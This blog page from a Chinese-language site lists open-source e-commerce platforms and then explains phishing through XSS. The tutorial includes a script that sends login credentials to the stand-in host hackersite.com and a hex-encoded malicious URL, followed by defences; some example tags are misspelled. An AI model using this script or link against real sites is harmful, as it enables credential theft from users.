Open Source E-Commerce Software Resources

3 comments
最近正著手電子商務網站的建置計畫,事先蒐集許多相關的參考資源,發現有許多免費且開放原始碼(Open Source)的電子商務軟體,而且許多已發展相當成熟。在開放原始碼基礎上,開發人員可以在短時間內做出符合企業的電子商務網站,大幅降低開發成本。在這裡,我整理了近期蒐集的開放原始碼電子商務軟體的相關資訊,有興趣的朋友不妨參考看看。

osCommerce
osCommerce 是一套使用 PHP 撰寫的網路購物系統平台。採用模組化系統設計,讓你可以按照實際的需要來加掛不同的模組,建置自己專屬的購物網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.oscommerce.com/
中文社群網站: http://osc.kmd.com.tw/
展示網站: http://demo.oscommerce.com/
原始碼下載: http://www.oscommerce.com/solutions/downloads

xt:Commerce
xt:Commerce 是延伸 osCommerce 的基礎架構,所發展的電子商務系統。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.xt-commerce.com/
展示網站: http://www.xtc-demo.de/index.php/language/tw

TWE-Commerce
TWE-Commerce 是一個以 osCommerce 及 xt:Commerce 為基礎架構的購物平台。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站:http://www.twecommerce.org/
展示網站:http://twe23.oldpa.com.tw/

Freeway
Freeway 是一套功能功能相當完整且強大的電子商務系統,除了一般商品銷售外,還可以銷售門票、虛擬商品。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.openfreeway.org/
展示網站: http://www.openfreeway.org/demo.html
原始碼下載: http://www.openfreeway.org/download.html

Drupal e-Commerce
Drupal e-Commerce 是適用在 Drupal 內容管理系統的電子商務模組,其功能相當完整,包括:庫存管理、交易和付款流程、可以外掛付款和送貨模組、發票與送貨通知、交易報表與銷售統計等,甚至還可以可以運用拍賣模組,建立拍賣網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.drupalecommerce.org/
中文支援網站: http://drupaltaiwan.org/module/e_commerce
主程式下載: http://drupal.org/download
模組下載:http://drupal.org/project/ecommerce

ASP.NET Starter Kit - Commerce Starter Kit
ASP.NET Starter Kit(ASP.NET入門套件)是微軟提供的免費且開放原始碼的軟體,可拿來做為開發各種 Web 應用程式的骨架範本。在 ASP.NET Starter Kit 中也包含了 Commerce Starter Kit(電子商務入門套件)可以輕鬆建構一個購物網站。
程式語言: ASP.NET, VB.NET, C#, J#
官方網站: http://www.asp.net/downloads/archived/starter-kits/
原始碼下載: http://www.asp.net/downloads/archived/starter-kits/commerce/

StoreNuke.Net
使用 Commerce Starter Kit(電子商務入門套件)為基礎架構的電子商務系統。
程式語言: ASP.NET, C#
官方網站: http://www.storenuke.net/
原始碼下載: http://sourceforge.net/projects/storenuke-net/

DotShoppingcart
DotShoppingcart 是一套用於電子商務的網站內容管理系統,提供動態編輯網頁內容的能力。除了免費版本外,亦有付費版本可供選擇。
程式語言: ASP.NET, C#
軟體授權: DotShoppingCart Public License (DPL) 1.0
官方網站: http://www.dotshoppingcart.com/
原始碼下載: http://www.dotshoppingcart.com/Page/Community/Download.aspx
示範影片: http://www.dotshoppingcart.com/Page/DemoVideos.aspx

Comersus Cart
Comersus Cart 是使用 ASP 開發的開放原始碼的軟體,除了免費版本外,亦有其他功能完整的付費版本可供選擇。
程式語言: ASP
軟體授權: Comersus Shopping Cart Software License
官方網站: http://www.comersus.com/
原始碼下載: http://www.comersus.com/download.html
展示網站: http://www.comersus.com/demo.html

繼續閱讀...

網路釣魚實例 - 結合 XSS 攻擊

0 comments
所謂網路釣魚(phishing)是駭客透過垃圾郵件發送與合法網站相仿的寄件人及郵件內容,提供偽裝 (spoofing)的連結,誘騙使用者到進入其偽裝的網站,藉以騙取個人帳號及密碼。其實,要辨識這樣的偽裝連結並不難,你可以先將滑鼠移到連結上,留意瀏覽器左下方的狀態列所顯示的真正網址,就能辨其真偽。但本文接下來要介紹的是比這類詐騙郵件更為狡猾的網路釣魚攻擊,是一種與跨網站指令碼 (Cross-site scripting,簡稱為 XSS) 搭配組合的攻擊模式,讓人防不勝防。此攻擊模式是利用存在 XSS 弱點的網站,在其官方網址的參數欄位動手腳加入經編碼的惡意程式,讓使用者誤信這是該網站所提供的網址,而不自覺地落入駭客惡意設下的圈套。

Phishing 與 XSS 搭配攻擊
假設有個受信任的網站 trustedsite.com,其登入網頁的部份原始碼如下:
<-- Hypothetical login.php page -->
...
<?php echo $_REQUEST["msg"]; ?>
<form method="post" action="loginDone.php">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value="<?php echo $_REQUEST["returnUrl"]; ?>">
</form>
...

當匿名使用者要求檢視個人資料的網頁時,會被系統自動導向到登入網頁,其網址如下:
http://trustedsite.com/login.php?msg=Please+Sign+In+to+View+this+Profile&returnUrl=myProfile.php

在沒有過濾字元的情況下,透過網址的傳遞參數注入如下所示的 HTML 標籤及指令碼:
login.php?msg=<script>alert('Vulnerable!');</scrpt>
&returnUrl="><script>alert('Vulnerable!');</scrpt><input type="hidden

並重新發出 HTTP 請求,便會得到如下的 HTML 輸出內容,並觸發注入的指命碼:
...
<script>alert('Vulnerable!');</scrpt>
<form method="post" action="loginDone.asp">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value=""><script>alert('Vulnerable!');</scrpt><input type="hidden">
</form>
...



根據 XSS 攻擊原理,只要存在 XSS 漏洞的網頁程式就能順利執行惡意程式碼。以下是針對 trustedsite.com 登入網頁,所設計的攻擊指命碼:
/* phishing.js */
var userslogin = document.forms[0];
userslogin.onsubmit = function() {
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "http://hackersite.com/stealLogin.php?user=" + userslogin.username.value + "&pass=" + userslogin.pass.value;
document.body.appendChild(iframe);
};

並將登入網址重新設計如下:
http://trustedsite.com/login.php?msg=<script src="http://hackersite.com/phishing.js"></script>

為衍人耳目,駭客會刻意將注入的 HTML 標籤及指令碼字串編碼,如下所示:
http://trustedsite.com/login.php?msg=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%68%61%63%6B%65%72%73%69%74%65%2E%63%6F%6D%2F%70%68%69%73%68%69%6E%67%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E

接著只要利用 E-Mail 或者在網路上發佈此連結,誘騙使用者點選此連結登入,使用者帳號及密碼就會自動"異地備份"到駭客手上了。

如何防範
一般使用者不論是在電子郵件、即時通訊軟體或是一般網頁中點選連結時,應提高警覺,留心可疑的過長連結,尤其是連續性冗長的編碼的字串更應避而遠之。

至於,對 XSS 漏洞的防範,在這裡提供幾點建議供 Web 開發人員參考:
  1. 對使用 HTTP GET 方法傳遞的資料,加入防竄改(tamper-proof)機制。有關如何實作 URL tamper-proof 的詳細資訊可參考這裡
  2. 檢查使用者的任何輸入資訊,包含查詢字串、Cookie 或表單欄位,並拒絕任何具危害性的 HTML 標籤。如果你的網頁允許輸入 HTML 資料,也應該限制只允許輸入特定的 HTML 標籤。
  3. 使用 HTML 編碼輸出使用者的輸入資訊。


相關資源:
Passing Tamper-Proof QueryString Parameters by Scott Mitchell

參考文章:
Applying XSS to Phishing Attacks by Nexus

繼續閱讀...